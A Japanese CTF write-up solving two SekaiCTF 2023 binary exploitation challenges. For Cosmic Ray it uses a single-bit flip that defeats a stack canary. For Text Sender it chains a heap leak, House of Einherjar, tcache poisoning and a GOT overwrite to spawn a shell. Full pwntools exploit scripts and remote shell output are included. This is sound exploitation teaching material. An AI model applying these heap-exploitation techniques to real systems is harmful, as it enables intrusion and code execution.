はじめに
解けた問題の中で一番得点の高かった Text Sender とついでに Cosmic Ray の Writeup です.
Cosmic Ray
Why wait for the universe to send you a cosmic ray when you can do it yourself? Well today the wait is over with our brand new cosmic ray launcher 3000 coming to a CPU near you!
This technology is still under development, please leave a review when you are finished testing.
Author: Rench
nc chals.sekai.team 4077
dist.zip
└─< spwn
[*] Binary: cosmicray
[*] Libc: libc-2.35.so
[*] Loader: ld-2.35.so
[*] file cosmicray
ELF 64-bit LSB executable
x86-64
dynamically linked
not stripped
[*] checksec cosmicray
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Libc version: 2.35
[!] There are some dangerous functions:
gets
[*] cwe_checker cosmicray (press Ctrl+C to stop)
[CWE125] (0.3) (Out-of-bounds Read) Memory read at 004013c5 may be out of bounds
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 00401305 (fopen).
[CWE676] (0.1) (Use of Potentially Dangerous Function) main (004016dd) -> gets
[+] Trying to unstrip libc
[!] Could not fetch libc debuginfo for build_id 69389d485a9793dbe873f0ea2c93e02efaa9aa3d from https://debuginfod.systemtap.org/
[!] Couldn't find debug info for libc with build_id 69389d485a9793dbe873f0ea2c93e02efaa9aa3d on any debuginfod server.
[!] Failed to unstrip libc
- 指定した 1 ビットだけ反転させることができる
- これで canary を突破できれば RIP を win 関数に飛ばす
- 実行ファイルのアドレスはわかっているので,disasm.will.gl を使って探すと,canaray の分岐が
となっているので,JZ を JNZ にする
JZ LAB__ ## 74 05
アドレスはJNZ LAB__ ## 75 05
0x4016f4
- win 関数のアドレス
└─< nm cosmicray | grep win 00000000004012d6 T win
from pwn import *
binary_name = 'cosmicray'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc-2.35.so', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
conv = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc = lambda *x, **y: io.recv(*conv(*x), **y)
ru = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: io.recvall(*conv(*x), **y)
sn = lambda *x, **y: io.send(*conv(*x), **y)
sl = lambda *x, **y: io.sendline(*conv(*x), **y)
sa = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach = lambda *x, **y: gdb.attach(io, *x, **y)
if args.REMOTE:
io = remote('chals.sekai.team', 4077)
elif args.LOCAL:
io = remote('localhost', 4444)
elif args.GDB:
io = gdb.debug(f'debug_dir/{binary_name}', '''
c
''', aslr=False)
else:
io = process(f'debug_dir/{binary_name}')
rl()
rl()
sl(b'0x4016f4')
ru(b'to flip (0-7):\n')
sl(b'7')
ru(b'experience today:\n')
sl(b'A' * (8 * 6) + p64(1) + p64(0x4012d6))
io.interactive()
└─< py solve.py REMOTE
[*] '/home/toha/work/sekai_ctf_2023/pwn/cosmic_ray/dist/cosmicray'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to chals.sekai.team on port 4077: Done
[*] Switching to interactive mode
SEKAI{w0w_pwn_s0_ez_wh3n_I_can_s3nd_a_c05m1c_ray_thru_ur_cpu}
/run.sh: line 3: 12753 Segmentation fault ./cosmicray
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to chals.sekai.team port 4077
Text Sender
I wanted to send multiple messages at one time so I made this text sender. Please try it and give me your opinion, thanks!
Author: Johnathan
nc chals.sekai.team 4000
textsender.zip
└─< spwn
[*] Binary: textsender
[*] Libc: libc-2.32.so
[*] Loader: ld-2.32.so
[*] file textsender
ELF 64-bit LSB executable
x86-64
dynamically linked
not stripped
[*] checksec textsender
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
Libc version: 2.32
[*] cwe_checker textsender (press Ctrl+C to stop)
[CWE125] (0.3) (Out-of-bounds Read) Memory read at 004014b8 may be out of bounds
[CWE125] (0.3) (Out-of-bounds Read) Memory read at 004015cc may be out of bounds
[CWE125] (0.3) (Out-of-bounds Read) Memory read at 004016a3 may be out of bounds
[CWE134] (0.1) (Externally Controlled Format String) Potential externally controlled format string for call to __isoc99_scanf at 004012ab
[CWE467] (0.2) (Use of sizeof on a Pointer Type) sizeof on pointer at 00401658 (strncmp).
[CWE476] (0.2) (NULL Pointer Dereference) Memory access at 004014d8 may result in a NULL dereference
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 00401323 (malloc).
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 004013a7 (malloc).
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 004013b5 (malloc).
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 004013c9 (malloc).
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 00401723 (malloc).
[CWE676] (0.1) (Use of Potentially Dangerous Function) input (00401228) -> sprintf
[CWE676] (0.1) (Use of Potentially Dangerous Function) input (00401234) -> strlen
[+] Trying to unstrip libc
[!] Could not fetch libc debuginfo for build_id e1596c76d0d93d8a36378ba976f034f140618d59 from https://debuginfod.systemtap.org/
[!] Couldn't find debug info for libc with build_id e1596c76d0d93d8a36378ba976f034f140618d59 on any debuginfod server.
[!] Failed to unstrip libc
Ghidra で読んでみると,以下のようになっている
void input(undefined8 input_target_addr,undefined8 input_message,uint length)
{
size_t sVar1;
char local_13 [9];
ushort local_a;
local_13[0] = '%';
sprintf(local_13 + 1,"%d",(ulong)length);
sVar1 = strlen(local_13);
local_a = (ushort)sVar1;
local_13[(int)(uint)local_a] = 's';
local_13[(int)(local_a + 1)] = '%';
local_13[(int)(local_a + 2)] = '*';
local_13[(int)(local_a + 3)] = 'c';
local_13[(int)(local_a + 4)] = '\0';
/* local_13 = f"%{length}s%*c\0" */
printf("%s",input_message);
__isoc99_scanf(local_13,input_target_addr);
return;
}
void set_sender(void)
{
sender = (undefined8 *)malloc(0x78);
/* 0x203a7265646e6553 == "Sender: " */
*sender = 0x203a7265646e6553;
input(sender + 1,"Sender\'s name: ",0x6f);
puts("[*] Added!");
return;
}
int add_message(long messages,byte *message_len)
{
int res;
void **message;
void *pvVar1;
byte message_len_;
if (*message_len < 10) {
message = (void **)malloc(0x10);
pvVar1 = malloc(0x78);
*message = pvVar1;
pvVar1 = malloc(0x1f8);
message[1] = pvVar1;
input(*message,"Receiver: ",0x78);
input(message[1],"Message: ",0x1f8);
message_len_ = *message_len;
*message_len = message_len_ + 1;
*(void ***)((ulong)message_len_ * 8 + messages) = message;
res = puts("[*] Added!");
}
else {
puts("You reached maximum of message!");
res = 0;
}
return res;
}
void edit_message(long messages,byte message_num)
{
size_t getline_n;
char *input_name;
__ssize_t input_name_length;
long j;
int i;
char local_11;
long *message;
local_11 = '\0';
getline_n = 0;
input_name = (char *)0x0;
printf("Name: ");
input_name_length = getline(&input_name,&getline_n,stdin);
i = 0;
while ((i < (int)(uint)message_num && (local_11 == '\0'))) {
message = *(long **)(messages + (long)i * 8);
local_11 = '\x01';
j = 0;
while ((j < input_name_length + -1 && (local_11 != '\0'))) {
if (input_name[j] != *(char *)(j + *message)) {
local_11 = '\0';
}
j = j + 1;
}
i = i + 1;
}
if (local_11 == '\0') {
puts("[-] Cannot find name!");
}
else {
printf("Old message: %s\n",message[1]);
input(message[1],"New message: ",0x1f8);
puts("[*] Changed!");
}
free(input_name);
return;
}
void print_message(long param_1,byte message_num)
{
undefined8 *puVar1;
uint i;
printf("Total: %hu draft.\n",(ulong)message_num);
for (i = 0; (int)i < (int)(uint)message_num; i = i + 1) {
puVar1 = *(undefined8 **)(param_1 + (long)(int)i * 8);
printf("(Draft %d) %s: %s\n",(ulong)i,*puVar1,puVar1[1]);
}
return;
}
void send_message(long messages,byte *message_num)
{
int iVar1;
uint i;
void **message;
printf("Total: %hu draft.\n",(ulong)*message_num);
if (sender != (char *)0x0) {
iVar1 = strncmp(sender,"Sender: ",8);
if (iVar1 == 0) {
free(sender);
printf("[*] Sent sender\'s name!");
}
}
for (i = 0; (int)i < (int)(uint)*message_num; i = i + 1) {
message = *(void ***)(messages + (long)(int)i * 8);
/* message[1] -> message_body
*message -> receiver */
free(message[1]);
free(*message);
free(message);
printf("[*] Sent draft %d!\n",(ulong)i);
}
*message_num = 0;
return;
}
- messages (0x10 + 0x50) は 10 個の message (0x10 + 0x10) のアドレスを格納している
- message は receiver (0x08 + 0x78) と message_body (0x08 + 0x1f8) のアドレスを持つ
- よって以下のようにヒープが確保される
+------------+ | 0x60 | +------------+ | 0x20 | +------------+ | 0x80 | +------------+ | 0x200 | +------------+ | 0x20 | +------------+ | 0x80 | +------------+ | ... |
- さらに,sender でも 0x80 のヒープ領域が確保でき,これは send_message で free できるが,free する前に sender をもう一度上書きすると,free されないままになってしまう
- edit_message 関数を呼び出した際もヒープが確保される (後述)
- (脆弱性 1) input 関数内の scanf で BOF (1 バイトだけ NULL が BOF) する -> House of Einherjar
- (脆弱性 2) edit_message での receiver の文字列比較は,後で getline で入力した receiver の長さで比較するので,元よりも長くすることで,それ以降の部分が一致しているか調べることができる
- edit_message で getline 関数があるが,これは第二引数に 0 が与えられると入力の長さに応じてヒープ領域を確保するみたい
- 確保するチャンクのサイズは 0x80, 0x100, 0x1f0, 0x3d0, ...
- さらに,0x100 以上を確保するときは,tcache や bins からではなく,新しく top から確保する
- free されるときはユーザ側で行うので,通常と同じになる
- とりあえず,NULL Byte で何ができるかを考える
- NULL Byte で書き潰されるのは,次の victim チャンクの size の部分になる
- ここには prev_inuse フラグがあるので,ここを 0 にすることで,prev チャンクが使われていないかのように見せることができる
- さらに,prev_size も書き換えて (victim チャンク - prev_size) の場所にチャンクがあるかのようにできる (fake chunk)
- これで,victim チャンクを free したときに tcache, fastbin に繋がれなければ,prev チャンク (fake chunk) と併合されて free される
- ここで,併合されるときは prev_size を確認して,prev チャンクのアドレスを取得して,prev チャンクを unlink する
- チャンク p が unlink されるときは,p -> fd -> bk と p -> bk -> fd が共に p を指しているか確認される
- p の fd, bk が自分自身を指すようにすると整合性が取れる
- これで,fake chunk を持つ領域を使って UAF ができる
- ただし,unlink をチェックを回避するために,これをするにはヒープのアドレスがわかっていないといけない
- ヒープアドレスのリークには,脆弱性 2 を使う
- send_message 関数では receiver との文字列比較がある
- これは,確保している receiver の領域 (0x80) を超えていても,入力した文字数文 (最後の改行文字は含めない) だけ文字列比較をしてしまう
- よって,ヒープのアドレスが確保されている領域まで比較すると,一致しているかでアドレスを調べることができる
- 0x20 -> 0x80 (target) -> 0x200 の順で確保されていて,0x20 の領域にヒープアドレスをもつので,先に edit_message 関数を呼び 0x80 の領域を確保して,free することで,0x80 -> 0x20 -> 0x200 の順に確保できる
- これで receiver の直後にヒープのアドレスを持つ領域を配置できる
- 次に libc のアドレスをリークさせたいので,fake chunk を unsortedbin に繋げたいが,できそうにないので,tcache につなげて tcache posoning する
- まず,edit_message 関数を 7 回呼び出して,入力する文字数を調整して 0x100 の tcache を一杯にする
- add_message 関数で 0x20 -> 0x80 -> 0x200 と領域を確保する
- この後ろに edit_message 関数で 0x100 の領域を確保し,同時に直前の receiver と文字列が一致するようにする
- これで,message_body を編集できるので,NULL Byte Poisoning する
- このときに,message_body の後半 0x100 バイトが後ろのチャンクに併合されるようにするため,fd, bk 用のアドレスや,prev_size などを調整して入力する
- 併合されたあとは,そのまま top に併合される
- これで以下のように top が実際には使用している領域に食い込むような配置になる
| ... | +------------+ | 0x100 | +------------+ | ... | +------------+ | 0x100 | +------------+ | 0x20 | <- message +------------+ | 0x80 | <- receiver +------------+ | 0x200 | <- message_body +------------+ | 0x100 | <- == reciver +alpha +------------+ | top | +------------+ | | V | ... | +------------+ | 0x100 | +------------+ | ... | +------------+ | 0x100 | +------------+ | 0x20 | <- message +------------+ | 0x80 | <- receiver +------------+---------- | 0x200 | 0x100 + - - - - - -+---------- | top | +------------+
- これで次にヒープ領域を確保すると,最初の 0x100 バイトにかかる部分は,現在 2 つめの message_body を使って自由に書き換えることができる
- add_message で確保すると,0x20, 0x80, 0x200 なので,3 つすべての領域のヘッダや fd, bk の部分は書き換えることができる
- tcache に繋げるために,一度 send_message で解放する
- このとき,確保した順番と,解放される順番を考えるとこのままでは操作できない
- 確保した message を下位アドレスから順に A, B, C とすると tcache には C -> B -> A の順に繋がっていて,C から取り出すことになるため,B を使って C を書き換えるので,B を確保した時点で C は tcache には繋がっていない
- よって,2 回 add_message を呼び出して,再び send_message で解放すると B -> C -> A の順になる
- これで tcache の先頭の B を確保するときに,tcache に繋がっている C のチャンク 0x20, 0x80 と 0x200 を自由に書き換えられる
- よって,C の fd を書き換えることで,C を確保したあと,A を確保しようとすると,書き換えた先の領域をヒープとして確保することになる
- C の fd を書き換えたあとの tcache
pwndbg> bins tcachebins 0x20 [ 2]: 0xa6ae40 —▸ 0xa6a380 ◂— 0 /* 'j\n' */ 0x80 [ 2]: 0xa6ae60 —▸ 0x404000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x403414 ◂— ... 0x100 [ 7]: 0xa6aba0 —▸ 0xa6aaa0 —▸ 0xa6a9a0 —▸ 0xa6a8a0 —▸ 0xa6a7a0 —▸ 0xa6a6a0 —▸ 0xa6a5a0 ◂— 0 /* 'j\n' */ 0x200 [ 2]: 0xa6aee0 —▸ 0x404000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x403414 ◂— ...
- C の fd を書き換えたあとの tcache
- ここで,実行ファイルが No PIE のためアドレスがわかっているので,GOT 領域を使って,libc のリークや system の呼び出しを考える
- GOT 領域の先頭に free があるので,ここから libc のベースアドレスをリークさせる
- リークについてはヒープと同様にするため,C の 0x80 はここに領域を確保するように仕向ける
- 直前のアドレスに元々なにか入っているので,それを確保する際に完全に消して,なおかつ,free のアドレスには 1 バイトもかからないようにする (edit_message 関数で free が呼び出されるため)
- これでリークができれば,この free を system に書き換えられれば,edit_message 関数の free で入力文字列の先頭に "/bin/sh\x00" が入っていればシェルを得ることができる
- よって,C の 0x200 も同じ領域を確保するようにしておいて,libc のアドレスのリークが終われば,free のアドレスを system のアドレスに書き換えるようにすれば良い
gef➤ got
GOT protection: Partial RelRO | GOT functions: 10
[0x404018] free@GLIBC_2.2.5 → 0x401036
[0x404020] strncmp@GLIBC_2.2.5 → 0x401046
[0x404028] puts@GLIBC_2.2.5 → 0x401056
[0x404030] strlen@GLIBC_2.2.5 → 0x401066
[0x404038] setbuf@GLIBC_2.2.5 → 0x401076
[0x404040] printf@GLIBC_2.2.5 → 0x401086
[0x404048] malloc@GLIBC_2.2.5 → 0x401096
[0x404050] __isoc99_scanf@GLIBC_2.7 → 0x4010a6
[0x404058] getline@GLIBC_2.2.5 → 0x4010b6
[0x404060] sprintf@GLIBC_2.2.5 → 0x4010c6
└─< readelf -s -W ./libc-2.32.so | grep " system@"
1454: 000000000004af30 45 FUNC WEAK DEFAULT 16 system@@GLIBC_2.2.5
└─< readelf -s -W ./libc-2.32.so | grep " free@"
2389: 000000000008cef0 265 FUNC GLOBAL DEFAULT 16 free@@GLIBC_2.2.5
from pwn import *
binary_name = 'textsender'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc-2.32.so', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
conv = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc = lambda *x, **y: io.recv(*conv(*x), **y)
ru = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: io.recvall(*conv(*x), **y)
sn = lambda *x, **y: io.send(*conv(*x), **y)
sl = lambda *x, **y: io.sendline(*conv(*x), **y)
sa = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach = lambda *x, **y: gdb.attach(io, *x, **y)
if args.REMOTE:
io = remote('chals.sekai.team', 4000)
elif args.LOCAL:
io = remote('localhost', 4444)
elif args.GDB:
io = gdb.debug(f'debug_dir/{binary_name}', '''
c
''', aslr=False)
else:
io = process(f'debug_dir/{binary_name}')
RECEIVER_LEN = 0x78
MESSAGE_BODY_LEN = 0x1f8
addr_got_free = 0x404018
offset_system = 0x000000000004af30
offset_free = 0x000000000008cef0
def set_sender(data):
sla(b'> ', b'1')
sla(b"Sender's name: ", data)
def add_message(receiver, message):
sla(b'> ', b'2')
sla(b'Receiver: ', receiver)
sla(b'Message: ', message)
def edit_message(receiver, message):
sla(b'> ', b'3')
sla(b'Name: ', receiver)
ru(b'Old message: ')
res = io.recvline()[:-1]
sla(b'New message: ', message)
return res
def print_all():
sla(b'> ', b'4')
delim = b'------- MENU -------'
return io.recvuntil(delim)[:-len(delim)]
def send_all():
sla(b'> ', b'5')
## leak heap address
set_sender(b'hoge')
send_all()
add_message(b'A' * 8, b'B' * 8)
heap_addr = [0] ## LSByte of the target heap address is must be 0x00
payload = b'A' * 8 + p64(0) * 14 + p64(0x21)
while True:
found = False
for b in range(256):
if b == 0x0a:
continue
sla(b'> ', b'3')
sla(b'Name: ', payload + bytes(heap_addr + [b]))
if b'Old message' in rl():
sla(b'New message: ', b'XXXX')
heap_addr.append(b)
found = True
break
if not found:
print('ERROR')
break
sla(b'> ', b'3')
sla(b'Name: ', payload + bytes(heap_addr + [0]))
if b'Old message' in rl():
sla(b'New message: ', b'XXXX')
break
heap_base = int.from_bytes(bytes(heap_addr[::-1]), 'big') - 0x300
print('heap base: ', hex(heap_base))
## House of Einherjar
add_message(b'B' * 8 * 14, b'hoge')
sla(b'> ', b'3')
sla(b'Name: ', b'B' * 8 * 14 + p64(0) + p64(0x201))
payload = p64(0) * 31
payload += p64(0x101) ## fake chunk size
payload += p64(heap_base + 0x100 + 0xd30) * 2 ## fake chunk fd and bk
payload += p64(0) * 28
payload += p64(0x100) ## prev size
sla(b'New message: ', payload) ## NULL Byte BOF
## sort tcache
add_message(b'hoge', b'huga')
send_all()
add_message(b'hoge', b'huga')
add_message(b'hoge', b'huga')
send_all()
## tcache poisoning
payload = b'A' * 0xf0
payload += p64(0)
payload += p64(0x21)
payload += p64((heap_base >> 12) ^ (heap_base + 0x380)) ## safe-linking
payload += p64(heap_base + 0x10) ## tcache key
payload += p64(0)
payload += p64(0x81)
payload += p64((heap_base >> 12) ^ (addr_got_free - 0x18)) ## tcache posoning
payload += p64(heap_base + 0x10) ## tcache key
payload += p64(0) * 13
payload += p64(0x201)
payload += p64((heap_base >> 12) ^ (addr_got_free - 0x18)) ## tcache posoning
payload += p64(heap_base + 0x10) ## tcache key
add_message(b'hoge', payload)
add_message(b'huga', b'piyo') ## GOT free
add_message(b'huga', b'/bin/sh\x00' + b'C' * (8 + 6)) ## GOT free
## leak libc base and GOT overwrite
addr_free = [0xf0] ## LSByte of "free" is 0xf0
payload = b'/bin/sh\x00' + b'C' * (8 + 6) + b'\x00\x00'
while True:
found = False
for b in range(256):
if b == 0x0a:
continue
sla(b'> ', b'3')
sla(b'Name: ', payload + bytes(addr_free + [b]))
if b'Old message' in rl():
sla(b'New message: ', b'/bin/sh\x00' + b'C' * (8 + 6))
addr_free.append(b)
found = True
break
if not found:
print('ERROR')
break
sla(b'> ', b'3')
sla(b'Name: ', payload + bytes(addr_free + [0]))
if b'Old message' in rl():
addr_free = int.from_bytes(bytes(addr_free[::-1]), 'big')
libc_base = addr_free - offset_free
addr_system = libc_base + offset_system
print('addr free :', hex(addr_free))
print('libc base :', hex(libc_base))
sla(b'New message: ', payload + p64(addr_system)) ## GOT Overwrite
break
io.interactive()
- payload に改行文字が含まれることがあるので,失敗したりする
└─< py solve.py REMOTE
[*] '/home/toha/work/sekai_ctf_2023/pwn/text_sender/textsender'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
[+] Opening connection to chals.sekai.team on port 4000: Done
0xceb000
0x1b0
addr_free : 0x7fe8e5a86ef0
libc_base : 0x7fe8e59fa000
[*] Switching to interactive mode
[*] Changed!
$ ls
flag.txt
ld-2.32.so
libc-2.32.so
textsender
$ cat flag.txt
SEKAI{y0U_Kn@W_h0W_tO_c@NduCt_H0uS3_@f_31Nh3rJ4r_43422bb9c023c5a8c37388316956e7c4}